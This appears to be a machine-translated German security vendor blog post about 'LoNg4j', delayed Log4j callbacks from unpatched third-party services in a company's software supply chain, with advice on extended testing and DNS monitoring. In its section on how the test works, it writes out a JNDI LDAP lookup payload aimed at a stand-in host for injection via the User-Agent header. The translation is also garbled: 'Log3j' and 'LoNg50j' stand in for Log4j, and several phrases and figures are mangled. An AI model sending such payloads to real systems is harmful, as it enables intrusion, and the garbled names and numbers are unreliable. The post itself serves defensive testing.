Während wir unseren Kunden helfen, ihre Patching-Bemühungen zu validieren, bietet die CQ Prime Threat Research-Team fand weitere ungepatchte Server mit der in ihrer digitalen Lieferkette versteckten Log4j-Schwachstelle namens LoNg4j.

Die Risiken

· Die Log4j-Schwachstelle ist weiter verbreitet als wir dachten und erstreckt sich über die gesamte digitale Software-Lieferkette.

· Tests zeigen, dass die Entdeckung von LoNg4j bis zu 15 Stunden dauern kann, im Gegensatz zu herkömmlichen Log4j-Schwachstellenergebnissen, die sofort vorliegen können.

· Ungepatchte Log4j-Instanzen kommen in der digitalen Lieferkette wahrscheinlich häufiger vor, als wir denken.

· Die anfänglichen Tests konzentrieren sich möglicherweise zu sehr auf den unmittelbaren Explosionsradius.

· CISA identifizierte 15 Schwachstellen die böswillige Akteure im Jahr 2021 routinemäßig ausnutzten, und Log4j war die Nummer eins.

Was das CQ Prime Threat Research Team herausgefunden hat

Ähnlich wie Verweilen Covid Symptome, die diejenigen haben, die sich von dem Virus erholt haben, sind sich Sicherheitsexperten einig, dass Log4j-Risiken auf absehbare Zeit bestehen werden. Als Beweis stellte das CQ Prime Threat Research Team im Februar 2022 fest, dass 36 % der 50 analysierten Organisationen weiterhin anfällig für die Log4j-Schwachstelle sind, wobei bestimmte Branchen wie Einzelhandel und Gesundheitswesen gut abschneiden, während Universitäten und Finanzdienstleister schlecht abschneiden.

Die Statistiken zeigen, dass selbst nach der Offenlegung einer weltweit bekannten Schwachstelle und der Bereitstellung eines Patches Unternehmen immer noch unter einem Mangel an angewendeten Patches leiden.

Während wir unseren Kunden dabei halfen, ihre Log4j-Patching-Bemühungen zu validieren, stellten wir fest, dass das Nichtpatchen ihres eigenen Bestands nur ein Teil des Problems ist. Wir haben ungepatchte Server in der digitalen Lieferkette unserer Kunden gefunden, die etwa 15 Stunden nach Erhalt der ersten Testergebnisse auftauchten. Dieser neue Exploit mit dem Namen „LoNg4j“ demonstriert die weitreichenden Auswirkungen der Log4j-Schwachstelle, und Unternehmen sind möglicherweise in den kommenden Jahren davon bedroht.

Wir haben auch ähnliche Angriffsvektoren gefunden, die Log4j ausnutzen, aber über die DNS-Umleitung beliebter Unternehmenslösungen wie Webkonferenzen durchgeführt werden. Um diese Art von LoNg4j-Exploit zu erkennen, ist eine umfangreiche Testinfrastruktur erforderlich, die die meisten Organisationen nicht bereitgestellt haben. Diese beiden allgegenwärtigen LoNg4j-Angriffsvektoren bedeuten, dass ein sehr geduldiger Angreifer durch bloße Beharrlichkeit schließlich Zugriff auf die Anwendung eines Opfers erlangen kann. Als Beispiel haben wir in den 4 meistgenutzten Unternehmen und Websites der Welt nach Schwachstellen in Log4j und LoNg50j gesucht. Am 29. April 2022 ergab ein erster Scan, dass mindestens 10 % der Websites für Log4j anfällig waren.

Bei einer beständigeren Analyse stieg diese Zahl um 300 %, was auf die potenzielle Existenz der LoNg4j-Schwachstelle hindeutet. Positiv ist zu vermerken, dass das CQ Prime Threat Research-Team auch Unternehmen identifiziert hat, die API-Sicherheit gut machen. Das Team untersuchte Organisationen in den Bereichen Gesundheitswesen, Einzelhandel und Finanzen, ohne unsere Kunden, anhand von acht Kriterien, darunter die Anzahl der exponierten APIs, Entwicklungs-Apps, Integritätsendpunkte, unsicheres SSL, Dienstanbieter, offene API-Dateien und exponierte Dateien, um eine API-Erfolgsbewertung zu ermitteln. Von den bewerteten Unternehmen haben sich Express Scripts, Costco und JP Morgan durchgesetzt.

Anzahl anfälliger Systeme in einer Organisation verdreifacht

Beim Testen der Anwendungen unserer Kunden zur Validierung ihrer Log4j-Patches stellten wir bei zahlreichen Gelegenheiten fest, dass sie immer noch als anfällig auf die Log4j-Schwachstelle reagierten. Bei einem Kunden, den wir in seinen gepatchten Anwendungen getestet hatten, sahen wir, dass die Anzahl der Log4j-Schwachstellen von 10 anfälligen Systemen auf 8, dann auf 6 und dann plötzlich auf 14 anfällige Systeme stieg. Insgesamt wurden 38 angreifbare Systeme gefunden, die die Log4j-Schwachstelle enthielten.

Warum?

Als wir genauer hinsahen, verwendete jede der Anwendungen, die mit einer positiven Bestätigung antworteten, dass sie noch nicht gepatchte Log4j-Komponenten hatten, tatsächlich eine beliebte Protokollspeicherung und -analyse eines Drittanbieters Cloud Service. Der Protokollspeicher- und -analysedienst des Drittanbieters verwendete immer noch irgendwo in seinem Dienst eine ungepatchte Log3j-Protokollierungskomponente, erkannte jedoch nicht, dass sie die Schwachstelle hatten.

Wie funktioniert der Log4j-Exploit-Test?

Die primäre Methode, um herauszufinden, ob eine Anwendung die Log4j-Schwachstelle aufweist, besteht darin, eine böswillige Domain-Lookup-Anforderung einzubetten, z. B. das Senden des folgenden Befehls innerhalb eines Benutzeragenten in einem Browser:

{jndi:ldap://uniqueIDperTEST.example.com}

Die anfällige Log4j-Protokollierungskomponente generiert eine DNS-Abfrage, um die in der obigen Befehlsanforderung enthaltene bösartige Domäne aufzulösen. Die DNS-Abfrage an die schädliche Domäne bestätigt, dass die Protokollierungskomponente anfällig ist und mit hoher Wahrscheinlichkeit die Log4j-Schwachstelle enthält. Im Wesentlichen entdecken so alle Scanner, die auf die Log4j-Schwachstelle testen, ihre Existenz.

Long gehen auf LoNg4j

Als wir die Log4j-Schwachstelle bei unseren Kunden untersuchten, begann sich das LoNg4j-Muster abzuzeichnen, das hervorhob, wie vernetzt die moderne Unternehmens-IT-Infrastruktur ist und wie diese digitale Lieferkette weit über die bekannten Anwendungen hinausgeht. Moderne Cloud-basierte Anwendungssoftware wird oft so geschrieben, dass Code andere Bibliotheken oder Dienste aufrufen kann. In unserem Kundenbeispiel rief die Anwendung einen beliebten Cloud-Dienst zur Protokollanalyse eines Drittanbieters auf, bei dem sich irgendwo in der Anwendung noch eine ungepatchte Log3j-Komponente befand. Dieser Cloud-Dienst zur Protokollanalyse wird von Kunden verwendet, um aussagekräftige Erkenntnisse aus ihren Anwendungen zu extrahieren, z. B. wer sich anmeldet, wie oft sie sich anmelden und wie ihr allgemeines Verhalten ist.

In diesem Fall gab es höchstwahrscheinlich einen Cron-Job, der die übertragenen Protokolle in 12- bis 15-Stunden-Intervallen ausgelesen hat. Während die Log4j-Komponente den in den übertragenen Protokollen gespeicherten JNDI-Befehl las, wiederholte die anfällige Log4j-Komponente die eindeutige DNS-Abfrage der schädlichen Domäne, die oben von unserem Testteam an die Kundenanwendung gesendet wurde. Wir wissen, dass dies passiert ist, weil wir die DNS-Anfrage an die bösartige Domain etwa 12 bis 15 Stunden, nachdem wir sie ursprünglich gesendet hatten, erhalten haben.

In einem anderen Beispiel haben wir einen Kunden gefunden, der eine Permutation dieser Bedrohung hatte, die durch DNS-Umleitung aktiviert wurde. Um Cloud-Dienste von Drittanbietern zu erhalten, verlassen sich Unternehmen häufig auf die DNS-Umleitung, damit der Dienst reibungslos funktioniert. Diese Lösungen werden ermöglicht, indem DNS-Einträge als Subdomäne für einen Kunden eingerichtet werden. Beispielsweise sehen Sie häufig https://webconference.customerdomain.com, das auf die verwendete Webkonferenzlösung umleitet. In diesem Beispiel haben wir festgestellt, dass die Webkonferenzlösung eine Log3j-Schwachstelle aufweist, die von einem Angreifer ausgenutzt werden könnte.

Tiefe und Breite der Lieferkette für digitale Software

Wir vermuten, dass wir aufgrund der Tiefe und Breite des Einsatzes von Log4j in Organisationen auf der ganzen Welt in den kommenden Jahren noch viele andere LoNg4j-Beispiele sehen werden. Die modernen Organisationen von heute sind mit Software ausgestattet, die mit Open-Source-Software, Software von Drittanbietern und API-gesteuerten Cloud-Softwarediensten geschrieben wurde, um sicherzustellen, dass Software schnell geschrieben und bereitgestellt werden kann. Leider ziehen diese Softwareteile oft die Schwachstellen mit sich, die in diesen Komponenten von Drittanbietern vorhanden sind.

Das Ergebnis ist eine weitreichende digitale Lieferkette mit potenziell anfälligen Anwendungen, die in Tausenden von Organisationen ausgeführt werden. Die meisten Sicherheits- und IT-Teams kennen wahrscheinlich nicht den vollen Umfang und Schweregrad der Sicherheitslücken, die in ihrem Unternehmen mit LoNg4j bestehen.

Um der potenziellen Tiefe der LoNg4j-Herausforderung ein Ausrufezeichen hinzuzufügen, ergab eine Umfrage des Ponemon Institute, dass jede Organisation im Durchschnitt mit 5,884 Drittanbietern zusammenarbeitet. Wenn einer von ihnen anfällig ist und sich in Ihrer Lieferkette befindet, sind Ihre Daten potenziell anfällig. Solange Sie nicht jeden Lieferkettenanbieter in Ihrer digitalen Lieferkette gepatcht und verifiziert haben, können Unternehmen nicht den Sieg über Log4j verkünden. Dies kann je nach Größe der Organisation Monate bis Jahre dauern.

Empfehlungen

Unternehmen müssen sich bewusst sein, wie tief die Log4j-Komponente in ihre digitale Lieferkette eingebettet ist. Wir gehen davon aus, dass Log4J trotz umfangreicher Patch-Programme noch viele Jahre ein verstecktes Risiko bleiben wird. Das bedeutet, dass Unternehmen weiterhin Cyberangriffen ausgesetzt bleiben, die auf die Log4J-Schwachstelle abzielen, es sei denn, es gibt ein erweitertes Korrekturprogramm, das Software enthält, in deren Software Log4j-Komponenten versteckt sind. Wir empfehlen jeder Organisation, einen zweistufigen Prozess zur Bewertung von Softwareanwendungen durchzuführen, wenn sie über eine Log4j-Softwarekomponente verfügen. In Zusammenarbeit mit internen Entwicklungsteams können Sie umfangreiche Patchprogramme aktivieren, um sicherzustellen, dass jeder Log4J-Patch angewendet wird. Die meisten Organisationen haben diesen Schritt in der Hand.

In der zweiten Phase sollten Anwendungspartner in Ihrer digitalen Lieferkette identifiziert werden, die versteckte Log4j-Komponenten in ihrer Software haben. In Zusammenarbeit mit dem jeweiligen Softwareanbieter können Sie feststellen, ob dieser anfällig für Schwachstellen ist und ob ein Patch angewendet werden kann. Eine alternative Organisation kann ihre WAF verwenden, um virtuelle Patching-Regeln zu entwickeln, die sicherstellen, dass alle eingehenden Anfragen sofort blockiert werden, sodass Sie Zeit haben, Ihre internen Systeme zu reparieren.

Zusammenfassung

· Erweitern Sie die Testparameter, um Ziele von Drittanbietern in Ihre digitale Lieferkette einzubeziehen

· Nutzen Sie alle verfügbaren Erkennungsmethoden und stellen Sie sicher, dass ausgehende DNS-Anfragen überwacht werden

· Verlängern Sie die Testzeiträume auf bis zu 24 Stunden, um die Durchquerung der Lieferkette einschließlich aller Protokollanalysen oder Ereigniskorrelationen zu ermöglichen

Sie sind sich nicht sicher, ob Ihre Server oder Server in Ihrer digitalen Lieferkette für LoNg4J anfällig sind?